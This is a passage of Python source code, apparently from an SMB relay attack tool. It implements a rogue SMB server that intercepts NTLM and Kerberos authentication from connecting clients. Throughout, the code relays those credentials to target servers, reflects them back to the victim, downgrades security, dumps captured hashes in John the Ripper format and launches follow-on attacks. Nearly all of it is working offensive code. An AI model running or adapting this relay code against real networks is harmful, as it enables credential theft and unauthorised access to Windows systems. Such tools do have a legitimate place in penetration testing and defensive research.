client supports SMB2 SMBCommand = smb.SMBCommand(recvPacket['Data'][0]) dialects = SMBCommand['Data'].split(b'\x02') if b'SMB 2.002\x00' in dialects or b'SMB 2.???\x00' in dialects: respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002 #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21 else: # Client does not support SMB2 fallbacking raise Exception('Client does not support SMB2, fallbacking') else: respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002 #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21 respSMBCommand['ServerGuid'] = b(''.join( [random.choice(string.ascii_letters) for _ in range(16)])) respSMBCommand['Capabilities'] = 0 respSMBCommand['MaxTransactSize'] = 65536 respSMBCommand['MaxReadSize'] = 65536 respSMBCommand['MaxWriteSize'] = 65536 respSMBCommand['SystemTime'] = getFileTime( calendar.timegm(time.gmtime())) respSMBCommand['ServerStartTime'] = getFileTime( calendar.timegm(time.gmtime())) respSMBCommand['SecurityBufferOffset'] = 0x80 blob = GSSAPIHeader_SPNEGO_Init2() blob['tokenOid'] = '1.3.6.1.5.5.2' blob['innerContextToken']['mechTypes'].extend([ MechType(TypesMech['KRB5 - Kerberos 5']), MechType(TypesMech['MS KRB5 - Microsoft Kerberos 5']), MechType( TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] ) ]) blob['innerContextToken']['negHints'][ 'hintName'] = "not_defined_in_RFC4178@please_ignore" respSMBCommand['Buffer'] = encoder.encode(blob) respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer']) respPacket['Data'] = respSMBCommand smbServer.setConnectionData(connId, connData) return None, [respPacket], STATUS_SUCCESS # This is SMB2 def SmbSessionSetup(self, connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus=False) ############################################################# # SMBRelay smbData = smbServer.getConnectionData('SMBRelay', False) ############################################################# respSMBCommand = smb3.SMB2SessionSetup_Response() sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data']) connData['Capabilities'] = sessionSetupData['Capabilities'] securityBlob = sessionSetupData['Buffer'] rawNTLM = False if struct.unpack('B', securityBlob[0:1])[0] == ASN1_AID: # negTokenInit packet try: blob = decoder.decode(securityBlob, asn1Spec=GSSAPIHeader_SPNEGO_Init())[0] token = blob['innerContextToken']['negTokenInit']['mechToken'] if len(blob['innerContextToken']['negTokenInit'] ['mechTypes']) > 0: # Is this GSSAPI NTLM or something else we don't support? mechType = blob['innerContextToken']['negTokenInit'][ 'mechTypes'][0] if str(mechType) != TypesMech['KRB5 - Kerberos 5'] and str(mechType) != \ TypesMech['MS KRB5 - Microsoft Kerberos 5']: # Nope, do we know it? if str(mechType) in MechTypes: mechStr = MechTypes[str(mechType)] else: mechStr = mechType smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL) # We don't know the token, we answer back again saying # we just support Kerberos. respToken = NegotiationToken() respToken['negTokenResp']['negResult'] = 'request_mic' respToken['negTokenResp']['supportedMech'] = TypesMech[ 'KRB5 - Kerberos 5'] respTokenData = encoder.encode(respToken) respSMBCommand['SecurityBufferOffset'] = 0x48 respSMBCommand['SecurityBufferLength'] = len( respTokenData) respSMBCommand['Buffer'] = respTokenData return [respSMBCommand ], None, STATUS_MORE_PROCESSING_REQUIRED else: # This is Kerberos, we can do something with this try: # If you're looking for the magic, it's in lib/utils/kerberos.py authdata = get_kerberos_loot( securityBlob, self.config) # If we are here, it was succesful # Are we in attack mode? If so, launch attack against all targets if self.config.mode == 'ATTACK': self.do_attack(authdata) # This ignores all signing stuff # causes connection resets # Todo: reply properly! respToken = NegotiationToken() # accept-completed respToken['negTokenResp'][ 'negResult'] = 'accept_completed' respSMBCommand['SecurityBufferOffset'] = 0x48 respSMBCommand['SecurityBufferLength'] = len( respToken) respSMBCommand['Buffer'] = encoder.encode( respToken) smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, STATUS_SUCCESS # Somehow the function above catches all exceptions and hides them # which is pretty annoying except Exception as e: import traceback traceback.print_exc() raise pass except: import traceback traceback.print_exc() else: # No GSSAPI stuff, we can't do anything with this smbServer.log("No negTokenInit sent by client", logging.CRITICAL) raise Exception('No negTokenInit sent by client') respSMBCommand['SecurityBufferOffset'] = 0x48 respSMBCommand['SecurityBufferLength'] = len(respToken) respSMBCommand['Buffer'] = respToken.getData() smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode ################################################################################ ### SMBv1 Part ################################################################# def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus=False) if self.config.mode.upper() == 'REFLECTION': self.targetprocessor = TargetsProcessor( singleTarget='SMB://%s:445/' % connData['ClientIP']) #TODO: Check if a cache is better because there is no way to know which target was selected for this victim # except for relying on the targetprocessor selecting the same target unless a relay was already done self.target = self.targetprocessor.getTarget() ############################################################# # SMBRelay # Get the data for all connections smbData = smbServer.getConnectionData('SMBRelay', False) if smbData.has_key(self.target): # Remove the previous connection and use the last one smbClient = smbData[self.target]['SMBClient'] del smbClient del smbData[self.target] LOG.info( "SMBD: Received connection from %s, attacking target %s://%s" % (connData['ClientIP'], self.target.scheme, self.target.netloc)) try: if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY == 0: extSec = False else: if self.config.mode.upper() == 'REFLECTION': # Force standard security when doing reflection LOG.debug("Downgrading to standard security") extSec = False recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) else: extSec = True #Init the correct client for our target client = self.init_client(extSec) except Exception as e: LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) self.targetprocessor.logTarget(self.target) else: smbData[self.target] = {} smbData[self.target]['SMBClient'] = client connData['EncryptionKey'] = client.getStandardSecurityChallenge() smbServer.setConnectionData('SMBRelay', smbData) smbServer.setConnectionData(connId, connData) return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket) ############################################################# def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus=False) ############################################################# # SMBRelay smbData = smbServer.getConnectionData('SMBRelay', False) ############################################################# respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) if connData['_dialects_parameters'][ 'Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY: # Extended security. Here we deal with all SPNEGO stuff respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters( ) respData = smb.SMBSessionSetupAndX_Extended_Response_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters( SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data() sessionSetupData['SecurityBlobLength'] = sessionSetupParameters[ 'SecurityBlobLength'] sessionSetupData.fromString(SMBCommand['Data']) connData['Capabilities'] = sessionSetupParameters['Capabilities'] if struct.unpack( 'B', sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID: # If there no GSSAPI ID, it must be an AUTH packet blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) token = blob['ResponseToken'] else: # NEGOTIATE packet blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) token = blob['MechToken'] # Here we only handle NTLMSSP, depending on what stage of the # authentication we are, we act on it messageType = struct.unpack( '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0] if messageType == 0x01: # NEGOTIATE_MESSAGE negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(token) # Let's store it in the connection data connData['NEGOTIATE_MESSAGE'] = negotiateMessage ############################################################# # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. # Let's send it to the target server and send the answer back to the client. client = smbData[self.target]['SMBClient'] try: challengeMessage = self.do_ntlm_negotiate(client, token) except Exception as e: # Log this target as processed for this client self.targetprocessor.logTarget(self.target) # Raise exception again to pass it on to the SMB server raise ############################################################# respToken = SPNEGO_NegTokenResp() # accept-incomplete. We want more data respToken['NegResult'] = b'\x01' respToken['SupportedMech'] = TypesMech[ 'NTLMSSP - Microsoft NTLM Security Support Provider'] respToken['ResponseToken'] = str(challengeMessage) # Setting the packet to STATUS_MORE_PROCESSING errorCode = STATUS_MORE_PROCESSING_REQUIRED # Let's set up an UID for this connection and store it # in the connection's data # Picking a fixed value # TODO: Manage more UIDs for the same session connData['Uid'] = 10 connData['CHALLENGE_MESSAGE'] = challengeMessage elif messageType == 0x03: # AUTHENTICATE_MESSAGE, here we deal with authentication ############################################################# # SMBRelay: Ok, so now the have the Auth token, let's send it # back to the target system and hope for the best. client = smbData[self.target]['SMBClient'] authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) if authenticateMessage['user_name'] != '': #For some attacks it is important to know the authenticated username, so we store it self.authUser = ( '%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le')) ).upper() clientResponse, errorCode = self.do_ntlm_auth( client, sessionSetupData['SecurityBlob'], connData['CHALLENGE_MESSAGE']['challenge']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials errorCode = STATUS_ACCESS_DENIED if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = smb.NewSMBPacket() packet[ 'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS packet[ 'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = b'\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff LOG.error( "Authenticating against %s://%s as %s\%s FAILED" % (self.target.scheme, self.target.netloc, authenticateMessage['domain_name'], authenticateMessage['user_name'])) #Log this target as processed for this client self.targetprocessor.logTarget(self.target) client.killConnection() return None, [packet], errorCode else: # We have a session, create a thread and do whatever we want LOG.info( "Authenticating against %s://%s as %s\%s SUCCEED" % (self.target.scheme, self.target.netloc, authenticateMessage['domain_name'], authenticateMessage['user_name'])) # Log this target as processed for this client self.targetprocessor.logTarget(self.target, True) ntlm_hash_data = outputToJohnFormat( connData['CHALLENGE_MESSAGE']['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm']) client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) del (smbData[self.target]) self.do_attack(client) # Now continue with the server ############################################################# respToken = SPNEGO_NegTokenResp() # accept-completed respToken['NegResult'] = b'\x00' # Status SUCCESS errorCode = STATUS_SUCCESS # Let's store it in the connection data connData['AUTHENTICATE_MESSAGE'] = authenticateMessage else: raise Exception("Unknown NTLMSSP MessageType %d" % messageType) respParameters['SecurityBlobLength'] = len(respToken) respData['SecurityBlobLength'] = respParameters[ 'SecurityBlobLength'] respData['SecurityBlob'] = respToken.getData() else: # Process Standard Security #TODO: Fix this for other protocols than SMB [!] respParameters = smb.SMBSessionSetupAndXResponse_Parameters() respData = smb.SMBSessionSetupAndXResponse_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters( SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Data() sessionSetupData['AnsiPwdLength'] = sessionSetupParameters[ 'AnsiPwdLength'] sessionSetupData['UnicodePwdLength'] = sessionSetupParameters[ 'UnicodePwdLength'] sessionSetupData.fromString(SMBCommand['Data']) client = smbData[self.target]['SMBClient'] _, errorCode = client.sendStandardSecurityAuth(sessionSetupData) if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = smb.NewSMBPacket() packet[ 'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS packet[ 'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = '\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff #Log this target as processed for this client self.targetprocessor.logTarget(self.target) # Finish client's connection #client.killConnection() return None, [packet], errorCode else: # We have a session, create a thread and do whatever we want LOG.info("Authenticating against %s://%s as %s\%s SUCCEED" % (self.target.scheme, self.target.netloc, sessionSetupData['PrimaryDomain'], sessionSetupData['Account'])) self.authUser = ('%s/%s' % (sessionSetupData['PrimaryDomain'], sessionSetupData['Account'])).upper() # Log this target as processed for this client self.targetprocessor.logTarget(self.target, True) ntlm_hash_data = outputToJohnFormat( '', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) del (smbData[self.target]) self.do_attack(client) # Now continue with the server ############################################################# respData['NativeOS'] = smbServer.getServerOS() respData['NativeLanMan'] = smbServer.getServerOS() respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData # From now on, the client can ask for other commands connData['Authenticated'] = True ############################################################# # SMBRelay smbServer.setConnectionData('SMBRelay', smbData) ############################################################# smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode ################################################################################ def do_attack(self, authdata): # Do attack. Note that unlike the HTTP server, the config entries are stored in the current object and not in any of its properties self.authUser = '******' % (authdata['domain'], authdata['username']) # No SOCKS, since socks is pointless when you can just export the tickets # instead we iterate over all the targets for target in self.config.target.originalTargets: parsed_target = target if parsed_target.scheme.upper() in self.config.attacks: client = self.config.protocolClients[target.scheme.upper()]( self.config, parsed_target) client.initConnection(authdata, self.config.dcip) # We have an attack.. go for it attack = self.config.attacks[parsed_target.scheme.upper()] client_thread = attack(self.config, client.session, self.authUser) client_thread.start() else: LOG.error('No attack configured for %s', parsed_target.scheme.upper()) def _start(self): self.server.daemon_threads = True self.server.serve_forever() LOG.info('Shutting down SMB Server') self.server.server_close() def run(self): LOG.info("Setting up SMB Server") self._start()